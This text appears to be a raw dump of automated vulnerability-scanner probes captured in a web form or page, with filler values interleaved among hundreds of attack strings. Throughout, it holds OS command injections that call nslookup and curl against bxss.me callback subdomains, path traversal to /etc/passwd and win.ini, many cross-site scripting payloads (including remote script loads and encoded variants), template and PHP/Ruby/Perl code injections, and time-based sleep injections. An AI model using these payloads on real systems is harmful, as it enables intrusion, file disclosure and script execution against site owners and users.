1 &(nslookup -q=cname hitmoexezfycj62c53.bxss.me||curl hitmoexezfycj62c53.bxss.me)&'\"`0&(nslookup -q=cname hitmoexezfycj62c53.bxss.me||curl hitmoexezfycj62c53.bxss.me)&`'

555

1

1 ../../../../../../../../../../../../../../etc/passwd

1

555<WDHRFP>2EJXI[!+!]</WDHRFP>

/etc/shells

1

response.write(9551026*9847908)

$1 &nslookup -q=cname hittpsaybnntzb2211.bxss.me&'\"`0&nslookup -q=cname hittpsaybnntzb2211.bxss.me&`'$

1 &nslookup -q=cname hittpsaybnntzb2211.bxss.me&'\"`0&nslookup -q=cname hittpsaybnntzb2211.bxss.me&`'

555

1

../1

1

http://bxss.me/t/fit.txt%3F.jpg

1

1 "+response.write(9095288*9669910)+"

1

1 $(nslookup -q=cname hitqyofairdpi6c5df.bxss.me||curl hitqyofairdpi6c5df.bxss.me)

555

1

Http://bxss.me/t/fit.txt

1

1 '+response.write(9095288*9669910)+'

1

555

1 (nslookup -q=cname hitruoxoecupx03e30.bxss.me||curl hitruoxoecupx03e30.bxss.me))

555

file:///etc/passwd

1

5554eKx5
<ScRiPt >0CD4(9150)</ScRiPt>

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

1

1 response.write(9095288*9669910)

1

$1 1|echo wjwflq$()\ ctbreq\nz^xyu||a #' |echo wjwflq$()\ ctbreq\nz^xyu||a #|" |echo wjwflq$()\ ctbreq\nz^xyu||a #$

1 1|echo wjwflq$()\ ctbreq\nz^xyu||a #' |echo wjwflq$()\ ctbreq\nz^xyu||a #|" |echo wjwflq$()\ ctbreq\nz^xyu||a #

555

../../../../../../../../../../../../../../windows/win.ini

1

"+response.write(9381286*9770172)+"

1

$1 |echo dcyejk$()\ rbjuln\nz^xyu||a #' |echo dcyejk$()\ rbjuln\nz^xyu||a #|" |echo dcyejk$()\ rbjuln\nz^xyu||a #$

1 |echo dcyejk$()\ rbjuln\nz^xyu||a #' |echo dcyejk$()\ rbjuln\nz^xyu||a #|" |echo dcyejk$()\ rbjuln\nz^xyu||a #

555

1

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

1

'+response.write(9381286*9770172)+'

1

$1 1&echo iensjw$()\ uwsgin\nz^xyu||a #' &echo iensjw$()\ uwsgin\nz^xyu||a #|" &echo iensjw$()\ uwsgin\nz^xyu||a #$

1 1&echo iensjw$()\ uwsgin\nz^xyu||a #' &echo iensjw$()\ uwsgin\nz^xyu||a #|" &echo iensjw$()\ uwsgin\nz^xyu||a #

555

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

../../../../../../../../../../../../../../etc/passwd

1

response.write(9381286*9770172)

1

$1 &echo fjjxpr$()\ zpapih\nz^xyu||a #' &echo fjjxpr$()\ zpapih\nz^xyu||a #|" &echo fjjxpr$()\ zpapih\nz^xyu||a #$

1 &echo fjjxpr$()\ zpapih\nz^xyu||a #' &echo fjjxpr$()\ zpapih\nz^xyu||a #|" &echo fjjxpr$()\ zpapih\nz^xyu||a #

555

1 1"||sleep(271000)tzcdsk||"

555

1

555}body{zzz:Expre/**/SSion(0CD4(9248))}

1

$1 echo fsvqeb$()\ lmhtdb\nz^xyu||a #' &echo fsvqeb$()\ lmhtdb\nz^xyu||a #|" &echo fsvqeb$()\ lmhtdb\nz^xyu||a #$

1 echo fsvqeb$()\ lmhtdb\nz^xyu||a #' &echo fsvqeb$()\ lmhtdb\nz^xyu||a #|" &echo fsvqeb$()\ lmhtdb\nz^xyu||a #

555

1 1'||sleep(271000)vzqkog||'

555

1

$&(nslookup${IFS}-q${IFS}cname${IFS}hitmlschxdzxz6880d.bxss.me||curl${IFS}hitmlschxdzxz6880d.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitmlschxdzxz6880d.bxss.me||curl${IFS}hitmlschxdzxz6880d.bxss.me)&`' 1$

&(nslookup${IFS}-q${IFS}cname${IFS}hitmlschxdzxz6880d.bxss.me||curl${IFS}hitmlschxdzxz6880d.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitmlschxdzxz6880d.bxss.me||curl${IFS}hitmlschxdzxz6880d.bxss.me)&`'

1

555

1

1 1"&&sleep(271000)hncrem&&"

555

1

1 1'&&sleep(271000)fsnxzd&&'

555

1

555

1

|(nslookup${IFS}-q${IFS}cname${IFS}hitopapfgmnrx41de0.bxss.me||curl${IFS}hitopapfgmnrx41de0.bxss.me)

1

555

1

1 '"()

555

1

;(nslookup -q=cname hitfxwsmmupuh6402e.bxss.me||curl hitfxwsmmupuh6402e.bxss.me)|(nslookup -q=cname hitfxwsmmupuh6402e.bxss.me||curl hitfxwsmmupuh6402e.bxss.me)&(nslookup -q=cname hitfxwsmmupuh6402e.bxss.me||curl hitfxwsmmupuh6402e.bxss.me)

1

555

1

$&(nslookup -q=cname hitrjdsypodvwf7f57.bxss.me||curl hitrjdsypodvwf7f57.bxss.me)&'\"`0&(nslookup -q=cname hitrjdsypodvwf7f57.bxss.me||curl hitrjdsypodvwf7f57.bxss.me)&`' 1$

&(nslookup -q=cname hitrjdsypodvwf7f57.bxss.me||curl hitrjdsypodvwf7f57.bxss.me)&'\"`0&(nslookup -q=cname hitrjdsypodvwf7f57.bxss.me||curl hitrjdsypodvwf7f57.bxss.me)&`'

1

555

1

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'

1

<th:t="${dfb}#foreach

1 ${10000023+9999071}

1

1<esi:include src="http://bxss.me/rpb.png"/>

555

$(nslookup -q=cname hitkuesdsxlhq04b76.bxss.me||curl hitkuesdsxlhq04b76.bxss.me)

1

555

$1 12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'$

1 12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'

1

555<input autofocus onfocus=0CD4(9594)>

1"||sleep(271000)fvoeiz||"

1

555

1

1<esi:include src="http://bxss.me/rpb.png"/>

1

(nslookup -q=cname hithzbvioccesc371a.bxss.me||curl hithzbvioccesc371a.bxss.me))

1

555

1

555

1 '.print(md5(31337)).'

555

$12345'"\'\");|]*%00{%0d%0a<%00>%bf%27' 1$

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'

1

1'||sleep(271000)njzfzx||'

1

555

$1|echo pvykls$()\ vfweig\nz^xyu||a #' |echo pvykls$()\ vfweig\nz^xyu||a #|" |echo pvykls$()\ vfweig\nz^xyu||a # 1$

1|echo pvykls$()\ vfweig\nz^xyu||a #' |echo pvykls$()\ vfweig\nz^xyu||a #|" |echo pvykls$()\ vfweig\nz^xyu||a #

1

555

1

$1 ${@print(md5(31337))}\$

1 ${@print(md5(31337))}\

555

1

$|echo sklwqi$()\ zhhssf\nz^xyu||a #' |echo sklwqi$()\ zhhssf\nz^xyu||a #|" |echo sklwqi$()\ zhhssf\nz^xyu||a # 1$

|echo sklwqi$()\ zhhssf\nz^xyu||a #' |echo sklwqi$()\ zhhssf\nz^xyu||a #|" |echo sklwqi$()\ zhhssf\nz^xyu||a #

1

555

1"&&sleep(271000)hskqpm&&"

1

555

1 nueva/.

555

1 ${@print(md5(31337))}

555

1

$1&echo ipyoyw$()\ fguwel\nz^xyu||a #' &echo ipyoyw$()\ fguwel\nz^xyu||a #|" &echo ipyoyw$()\ fguwel\nz^xyu||a # 1$

1&echo ipyoyw$()\ fguwel\nz^xyu||a #' &echo ipyoyw$()\ fguwel\nz^xyu||a #|" &echo ipyoyw$()\ fguwel\nz^xyu||a #

1

555

1'&&sleep(271000)ifggii&&'

1

555

1 nueva

555

1 ";print(md5(31337));$a="

555

1

<%={{={@{#{${dfb}}%>

1

1 nueva

555

$&echo iconjx$()\ hiivkw\nz^xyu||a #' &echo iconjx$()\ hiivkw\nz^xyu||a #|" &echo iconjx$()\ hiivkw\nz^xyu||a # 1$

&echo iconjx$()\ hiivkw\nz^xyu||a #' &echo iconjx$()\ hiivkw\nz^xyu||a #|" &echo iconjx$()\ hiivkw\nz^xyu||a #

$echo dqujku$()\ gcxdru\nz^xyu||a #' &echo dqujku$()\ gcxdru\nz^xyu||a #|" &echo dqujku$()\ gcxdru\nz^xyu||a # 1$

echo dqujku$()\ gcxdru\nz^xyu||a #' &echo dqujku$()\ gcxdru\nz^xyu||a #|" &echo dqujku$()\ gcxdru\nz^xyu||a #

1

'.print(md5(31337)).'

1

555

nueva

1

555

1 1DnQrDX3gEO

1

1 "+"A".concat(70-3).concat(22*4).concat(106).concat(76).concat(106).concat(85)+(require"socket" Socket.gethostbyname("hitiu"+"vpqbqfme99cb1.bxss.me.")[3].to_s)+"

555

1

1

555

1

bfg10208＜s1﹥s2ʺs3ʹhjl10208

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

555

1

HttP://bxss.me/t/xss.html?%00

1

'+'A'.concat(70-3).concat(22*4).concat(106).concat(73).concat(103).concat(86)+(require'socket'
Socket.gethostbyname('hitnk'+'gqfmkpwjd848c.bxss.me.')[3].to_s)+'

1

555

1

'"()&%<zzz><ScRiPt >O3oI(9029)</ScRiPt>

1

555

1

"+"A".concat(70-3).concat(22*4).concat(100).concat(72).concat(105).concat(72)+(require"socket"
Socket.gethostbyname("hiteh"+"ybdwqapac124d.bxss.me.")[3].to_s)+"

1

555

1

555

1

555

1

555

1

555

1

555

1

555

1

555<img src=//xss.bxss.me/t/dot.gif onload=0CD4(9569)>

1

555

1

555

1

555

1

HttP://bxss.me/t/xss.html?%00

1

<!--

1

555

1 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

1

555

1

555

1

'.print(md5(31337)).'

1

555

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

555

1

1

'"()

1

555

1

555

bxss.me

1

555

1

Array

1

xfs.bxss.me

1

555<svg

1

555

c:/windows/win.ini

1

555

1

555

1

&(nslookup${IFS}-q${IFS}cname${IFS}hityrdkdnpein55fb9.bxss.me||curl${IFS}hityrdkdnpein55fb9.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hityrdkdnpein55fb9.bxss.me||curl${IFS}hityrdkdnpein55fb9.bxss.me)&`'

1

555

/etc/shells

1

555

1

Array

1 ../1

555

1

|(nslookup${IFS}-q${IFS}cname${IFS}hitsatknbnbuy7c7c6.bxss.me||curl${IFS}hitsatknbnbuy7c7c6.bxss.me)

1

555

http://bxss.me/t/fit.txt?.jpg

1

555

1

555

1

555

1

555<ScRiPt
>0CD4(9571)</ScRiPt>

1

;(nslookup -q=cname hitzjvggjftdca9fe4.bxss.me||curl hitzjvggjftdca9fe4.bxss.me)|(nslookup -q=cname hitzjvggjftdca9fe4.bxss.me||curl hitzjvggjftdca9fe4.bxss.me)&(nslookup -q=cname hitzjvggjftdca9fe4.bxss.me||curl hitzjvggjftdca9fe4.bxss.me)

1 ^(#$!@#$)(()))******

555

1

555

1

Array

Http://bxss.me/t/fit.txt

555

1 ../../../../../../../../../../../../../../windows/win.ini

555

1

|(nslookup -q=cname hitnbktisakxg7d2ed.bxss.me||curl hitnbktisakxg7d2ed.bxss.me)

1 )

555

1

".gethostbyname(lc("hitel"."kvcwbaez8c2d4.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(90).chr(117).chr(77)."

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

1

555

1 ../../../../../../../../../../../../../../etc/passwd

555

1

&(nslookup -q=cname hitrmojqaeeyr66516.bxss.me||curl hitrmojqaeeyr66516.bxss.me)&'\"`0&(nslookup -q=cname hitrmojqaeeyr66516.bxss.me||curl hitrmojqaeeyr66516.bxss.me)&`'

^(#$!@#$)(()))******

1

555

1

'.gethostbyname(lc('hitbx'.'wxeirdca79ea2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(88).chr(102).chr(75).'

../1

1

555

1

1

555

../../../../../../../../../../../../../../etc/passwd

1

555

1

!(()&&!|*|*|

1

555

response.write(9690735*9755321)

1

555

1&n950269=v996323

1

555

1

555

1

1

bxss.me

1

555

1

555

1

555

1

555<script>0CD4(9711)</script>

1

1

555&n940278=v925650

1

555

1

"+response.write(9979799*9344720)+"

1

555<ScRiPt >0CD4(9193)</ScRiPt>

1

555

1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

${9999408+9999748}

1

555

1<esi:include src="http://bxss.me/rpb.png"/>

1

555

$12345'"\'\");|]*�{ <�> 1$

12345'"\'\");|]*{ <>

1

555

555

nueva/.

1

555

1

'A'.concat(70-3).concat(22*4).concat(97).concat(80).concat(105).concat(73)+(require'socket' Socket.gethostbyname('hitdn'+'sieeqnwo6bd60.bxss.me.')[3].to_s)

1

555

nueva

1

555

1 Array

555

$1 &(nslookup -q=cname hitaeyxhnfigzf7253.bxss.me||curl hitaeyxhnfigzf7253.bxss.me)&'\"`0&(nslookup -q=cname hitaeyxhnfigzf7253.bxss.me||curl hitaeyxhnfigzf7253.bxss.me)&`'$

1 &(nslookup -q=cname hitaeyxhnfigzf7253.bxss.me||curl hitaeyxhnfigzf7253.bxss.me)&'\"`0&(nslookup -q=cname hitaeyxhnfigzf7253.bxss.me||curl hitaeyxhnfigzf7253.bxss.me)&`'

555

1

Array

1

555

1 Array

555

'+'A'.concat(70-3).concat(22*4).concat(108).concat(74).concat(103).concat(83)+(require'socket' Socket.gethostbyname('hitis'+'lpbevdzl8d395.bxss.me.')[3].to_s)+'

555

1

nueva/.

1 $(nslookup -q=cname hitwtezqkuytwd59c3.bxss.me||curl hitwtezqkuytwd59c3.bxss.me)

555

1

555

1

555

1 (nslookup -q=cname hitucztwzlpzz9544f.bxss.me||curl hitucztwzlpzz9544f.bxss.me))

555

1

nueva

1

555

1 |echo tfkqxy$()\ swikyk\nz^xyu||a #' |echo tfkqxy$()\ swikyk\nz^xyu||a #|" |echo tfkqxy$()\ swikyk\nz^xyu||a #

555

1"||sleep(271000)ceajzq||"

1

555

1

'+'A'.concat(70-3).concat(22*4).concat(114).concat(82).concat(117).concat(71)+(require'socket'
Socket.gethostbyname('hithq'+'edyhuxjy0b0a7.bxss.me.')[3].to_s)+'

555

$1 echo kletey$()\ tnpugx\nz^xyu||a #' &echo kletey$()\ tnpugx\nz^xyu||a #|" &echo kletey$()\ tnpugx\nz^xyu||a #$

1 echo kletey$()\ tnpugx\nz^xyu||a #' &echo kletey$()\ tnpugx\nz^xyu||a #|" &echo kletey$()\ tnpugx\nz^xyu||a #

555

1 bxss.me/t/xss.html?%00

555

1'&&sleep(271000)gxatjy&&'

1

bxss.me/t/xss.html?%00

1

555

1

bfgx4141

Array

1

555

HttP://bxss.me/t/xss.html?%00

1

555

1 ";print(md5(31337));$a="

555

|(nslookup -q=cname hitxyslnewckdb0168.bxss.me||curl hitxyslnewckdb0168.bxss.me)

1

555

1

555

1

bfg1512＜s1﹥s2ʺs3ʹhjl1512

Array

1

555

1 ';print(md5(31337));$a='

555

$&(nslookup -q=cname hitihokqikcwweb349.bxss.me||curl hitihokqikcwweb349.bxss.me)&'\"`0&(nslookup -q=cname hitihokqikcwweb349.bxss.me||curl hitihokqikcwweb349.bxss.me)&`' 1$

&(nslookup -q=cname hitihokqikcwweb349.bxss.me||curl hitihokqikcwweb349.bxss.me)&'\"`0&(nslookup -q=cname hitihokqikcwweb349.bxss.me||curl hitihokqikcwweb349.bxss.me)&`'

1

555

1

bxss.me/t/xss.html?%00

1

555

1 ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

$&nslookup -q=cname hitmqvyequlze7c7a6.bxss.me&'\"`0&nslookup -q=cname hitmqvyequlze7c7a6.bxss.me&`' 1$

&nslookup -q=cname hitmqvyequlze7c7a6.bxss.me&'\"`0&nslookup -q=cname hitmqvyequlze7c7a6.bxss.me&`'

1

555

1

HttP://bxss.me/t/xss.html?%00

1

555

1

555

'.print(md5(31337)).'

1

555

$(nslookup -q=cname hitwwzeksfycp0d6ea.bxss.me||curl hitwwzeksfycp0d6ea.bxss.me)

1

555

1

555

$${@print(md5(31337))}\ 1$

${@print(md5(31337))}\

1

555

1

5559128864

(nslookup -q=cname hitzuewpsielz8314a.bxss.me||curl hitzuewpsielz8314a.bxss.me))

1

555

1

555

555

";print(md5(31337));$a="

1

555

1

555

1

'"()&%<zzz><ScRiPt >0CD4(9428)</ScRiPt>

$1&echo fculsz$()\ vfnjwo\nz^xyu||a #' &echo fculsz$()\ vfnjwo\nz^xyu||a #|" &echo fculsz$()\ vfnjwo\nz^xyu||a # 1$

1&echo fculsz$()\ vfnjwo\nz^xyu||a #' &echo fculsz$()\ vfnjwo\nz^xyu||a #|" &echo fculsz$()\ vfnjwo\nz^xyu||a #

1

555

<!--

1

555

1

555

';print(md5(31337));$a='

1

555

$&echo geohjm$()\ ixzjuj\nz^xyu||a #' &echo geohjm$()\ ixzjuj\nz^xyu||a #|" &echo geohjm$()\ ixzjuj\nz^xyu||a # 1$

&echo geohjm$()\ ixzjuj\nz^xyu||a #' &echo geohjm$()\ ixzjuj\nz^xyu||a #|" &echo geohjm$()\ ixzjuj\nz^xyu||a #

1

555

'"

1

555

1

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

555

$echo mqvxxp$()\ okgryv\nz^xyu||a #' &echo mqvxxp$()\ okgryv\nz^xyu||a #|" &echo mqvxxp$()\ okgryv\nz^xyu||a # 1$

1

555

1

555

1

555'||sleep(27*1000)*pkzcsy||'

1

555

1 gethostbyname(lc('hitpn'.'irhyjfai8da2e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(66).chr(102).chr(84)

555

1

555

1 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

1

555"&&sleep(27*1000)*fwwpxh&&"

1

'.print(md5(31337)).'

1 ".gethostbyname(lc("hitxj"."gjjtsuzq382ec.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(65).chr(109).chr(68)."

555

1

555

1

555'&&sleep(27*1000)*oqfpae&&'

1

${@print(md5(31337))}\

1 '.gethostbyname(lc('hitpm'.'qlzzytld4339b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(78).chr(99).chr(79).'

555

1

555

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

555

1

'"()

1

${@print(md5(31337))}

gethostbyname(lc('hituv'.'zjqyllgza1018.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(88).chr(113).chr(71)

1

555

1

555

1

555

1

Array

1

";print(md5(31337));$a="

1

555

".gethostbyname(lc("hittr"."zhfekfjtdd1e8.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(65).chr(107).chr(65)."

1

1

555

xfs.bxss.me

1

555

1

&(nslookup${IFS}-q${IFS}cname${IFS}hiturnecrttnw56df3.bxss.me||curl${IFS}hiturnecrttnw56df3.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hiturnecrttnw56df3.bxss.me||curl${IFS}hiturnecrttnw56df3.bxss.me)&`'

1

1 bxss.me

555

1 ../1

555

^(#$!@#$)(()))******

../1

1

555

1 http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

1

^(#$!@#$)(()))******

1

555

1

echo ydxulc$()\ xuoxht\nz^xyu||a #' &echo ydxulc$()\ xuoxht\nz^xyu||a #|" &echo ydxulc$()\ xuoxht\nz^xyu||a #

1

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

1

555

../../../../../../../../../../../../../../etc/passwd

1

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

1

555

1

555

1

555

$1 12345'"\'\");|]*�{ <�>$

1 12345'"\'\");|]*{ <>

555

1

555

Array

1

555

$12345'"\'\");|]*�{ <�> 1$

12345'"\'\");|]*{ <>

1

555

1

1

555

1

Array

1

1 1<esi:include src="http://bxss.me/rpb.png"/>

555

1

12345'"\'\");|]*{
<>

1<esi:include src="http://bxss.me/rpb.png"/>

555<aaHWBQM<

1 1<aaUCy3T<

555

1<aIC5uE0<

1

1<WUGO7W>99CVG[!+!]</WUGO7W>

1

1<aDM2IZy x=9743>

1<awCOBTM x=9591>

1

555

1 1<ifRAme sRc=9369.com></IfRamE>

555

1

555<ifRAme sRc=9318.com></IfRamE>

1 1<WCSL7A>J0EPC[!+!]</WCSL7A>

1

15VkGk <ScRiPt >LuVm(9836)</ScRiPt>

1

1<ifRAme sRc=9627.com></IfRamE>

1<ifRAme sRc=9006.com></IfRamE>

1

555

1 1<WU4V8A>71K9V[!+!]</WU4V8A>

555

1

555<W3G9QW>PI2B8[!+!]</W3G9QW>

1 1zOnrS <ScRiPt >pUhW(9105)</ScRiPt>

1

1<WBW0ZX>ICL8M[!+!]</WBW0ZX>

1}body{zzz:Expre/**/SSion(LuVm(9396))}

1

1<WLLB51>5M2B0[!+!]</WLLB51>

1

555

1 1sufb1 <ScRiPt >x8Fe(9762)</ScRiPt>

555

1

5551qtuO
<ScRiPt >Ud8k(9181)</ScRiPt>

1 1}body{zzz:Expre/**/SSion(pUhW(9932))}

1

1Sd69h
<ScRiPt >Izgn(9420)</ScRiPt>

<a HrEF=jaVaScRiPT:>

1

1GYqOy <ScRiPt >WmG2(9055)</ScRiPt>

1

555

1 1}body{zzz:Expre/**/SSion(x8Fe(9892))}

555

1

555}body{zzz:Expre/**/SSion(Ud8k(9698))}

<a HrEF=http://xss.bxss.me></a>

1

1 <a HrEF=jaVaScRiPT:>

1

555

1

555<ScRiPt>Ud8k(9134)</sCripT>

1 1<ScRiPt>x8Fe(9984)</sCripT>

555

%31%3C%53%63%52%69%50%74%20%3E%4C%75%56%6D%289960%29%3C%2F%73%43%72%69%70%54%3E

1

1<ScRiPt>Izgn(9895)</sCripT>

1<ScRiPt>WmG2(9389)</sCripT>

1

555

$1 1\u003CScRiPt\pUhW(9219)\u003C/sCripT\u003E$

1 1\u003CScRiPt\pUhW(9219)\u003C/sCripT\u003E

1

$1 1\u003CScRiPt\x8Fe(9270)\u003C/sCripT\u003E$

1 1\u003CScRiPt\x8Fe(9270)\u003C/sCripT\u003E

555

1

555\u003CScRiPt\Ud8k(9750)\u003C/sCripT\u003E

1

1\u003CScRiPt\Izgn(9415)\u003C/sCripT\u003E

1<img/src=">" onerror=alert(9309)>

1

$1\u003CScRiPt\WmG2(9718)\u003C/sCripT\u003E 1$

1\u003CScRiPt\WmG2(9718)\u003C/sCripT\u003E

1

555

1 %31%3C%53%63%52%69%50%74%20%3E%78%38%46%65%289103%29%3C%2F%73%43%72%69%70%54%3E

555

1 %31%3C%53%63%52%69%50%74%20%3E%70%55%68%57%289089%29%3C%2F%73%43%72%69%70%54%3E

1

%31%3C%53%63%52%69%50%74%20%3E%49%7A%67%6E%289891%29%3C%2F%73%43%72%69%70%54%3E

1<img src=xyz OnErRor=LuVm(9773)>

1

%35%35%35%3C%53%63%52%69%50%74%20%3E%55%64%38%6B%289784%29%3C%2F%73%43%72%69%70%54%3E

%31%3C%53%63%52%69%50%74%20%3E%57%6D%47%32%289529%29%3C%2F%73%43%72%69%70%54%3E

1

555

555

1

1<img src=//xss.bxss.me/t/dot.gif onload=Izgn(9231)>

1 1<img src=//xss.bxss.me/t/dot.gif onload=pUhW(9498)>

1

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9710'>

1

1 1<body onload=pUhW(9730)>

1

1<body onload=WmG2(9916)>

555

1

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9762'>

1

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9515'>

1<svg

1

1 1<isindex type=image src=1 onerror=pUhW(9789)>

1

1<isindex type=image src=1 onerror=WmG2(9711)>

1

555

1 1<isindex type=image src=1 onerror=x8Fe(9660)>

555

1

555<isindex type=image src=1 onerror=Ud8k(9559)>

1

1<isindex type=image src=1 onerror=Izgn(9192)>

1<ScRiPt >LuVm(9552)</ScRiPt>

1

1<svg

1

555

1 1<svg

555

1 1<svg

1

555<svg

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9284></ScRiPt>

1

555

1

1<svg

1 1<ScRiPt >x8Fe(9354)</ScRiPt>

555

1<ScRiPt >WmG2(9807)</ScRiPt>

1

555

1 1<ScRiPt >pUhW(9056)</ScRiPt>

1

555<ScRiPt
>Ud8k(9873)</ScRiPt>

1<ScRiPt >LuVm(9191)</ScRiPt>

1

1

555

1

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9150></ScRiPt>

1 1<ScRiPt >x8Fe(9980)</ScRiPt>

555

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4C%75%56%6D%28%39%34%32%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1

1<ScRiPt >WmG2(9469)</ScRiPt>

1

555

1 1<ScRiPt >pUhW(9526)</ScRiPt>

1

555<ScRiPt
>Ud8k(9604)</ScRiPt>

1 1<ScR<ScRiPt>IpT>x8Fe(9250)</sCr<ScRiPt>IpT>

555

1

1<ScRiPt
>Izgn(9077)</ScRiPt>

1

555

1

1<ScR<ScRiPt>IpT>WmG2(9489)</sCr<ScRiPt>IpT>

1

555

1<script>LuVm(9564)</script>9564

1

1 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%70%55%68%57%28%39%39%31%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1

555<ScR<ScRiPt>IpT>Ud8k(9091)</sCr<ScRiPt>IpT>

1

555

1

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%49%7A%67%6E%28%39%31%39%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1 1<script>x8Fe(9375)</script>9375

555

1<script>LuVm(9925)</script>

1

1<script>WmG2(9152)</script>9152

1

555

1 1<script>pUhW(9340)</script>9340

1

555<script>Ud8k(9907)</script>9907

1

1<script>Izgn(9046)</script>9046

1

555

1<WNHXZO>0X5AC[!+!]</WNHXZO>

1

1 1<script>x8Fe(9848)</script>

555

1 1<script>pUhW(9725)</script>

1

1<script>WmG2(9767)</script>

1

555

1

1<script>Izgn(9105)</script>

1

555<script>Ud8k(9854)</script>

1

555

1<ScRiPt >LuVm(9363)</ScRiPt>

1

1 1<W4XKHG>UYXA7[!+!]</W4XKHG>

555

1 1<WXR1DH>DGM5B[!+!]</WXR1DH>

1

1<WDAUWV>9HU65[!+!]</WDAUWV>

1

555

1

555<WCAE3S>YPZJT[!+!]</WCAE3S>

1<WXSCYZ>BPOWP[!+!]</WXSCYZ>

1

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

dfb${98991*97996}::.x

1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

$dfb__${98991*97996}__::.x 1$

dfb${98991*97996}::.x

1

555

$1 dfb__${98991*97996}__::.x$

1 dfb${98991*97996}::.x

1

1

dfb[[${98991*97996}]]xca

1

555

1 dfb{{98991*97996}}xca

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1

555

1 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1

1 <th:t="${dfb}#foreach

555

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1

555

<%={{={@{#{${dfb}}%>

1

<th:t="${dfb}#foreach

1

555

1

<th:t="${dfb}#foreach

1

1 <th:t="${dfb}#foreach

1

1 <%={{={@{#{${dfb}}%>

555

1

555

1

<th:t="${dfb}#foreach

1

bfgx8128%C0%BEz1%C0%BCz2a%90bcxhjl8128

1

1 <%={{={@{#{${dfb}}%>

1

<%={{={@{#{${dfb}}%>

1

555

<%={{={@{#{${dfb}}%>

1

555

bfgx9561

1

555

19605706

1

bfg6113%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl6113

1 bfg4754%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl4754

1

bfg9711＜s1﹥s2ʺs3ʹhjl9711

1

555

1

555

1

bfg3370＜s1﹥s2ʺs3ʹhjl3370

1 19851853

555

'"()&%<zzz><ScRiPt >LuVm(9315)</ScRiPt>

1

19189004

1 19901831

1

555

1

19730266

1

'"()&%<zzz><ScRiPt >Ud8k(9960)</ScRiPt>

1

555

1'"()&%<zzz><ScRiPt >LuVm(9988)</ScRiPt>

1

1 1'"()&%<zzz><ScRiPt >x8Fe(9515)</ScRiPt>

555

1

1'"()&%<zzz><ScRiPt >Izgn(9206)</ScRiPt>

1 1'"()&%<zzz><ScRiPt >pUhW(9566)</ScRiPt>

1

1'"()&%<zzz><ScRiPt >WmG2(9997)</ScRiPt>

1

1<input autofocus onfocus=qTtn(9778)>

1

555

1

555

1<ScRiPt>qTtn(9136)</sCripT>

1<ScRiPt >qTtn(9649)</ScRiPt>

1

555

1<adx56TZ<

1

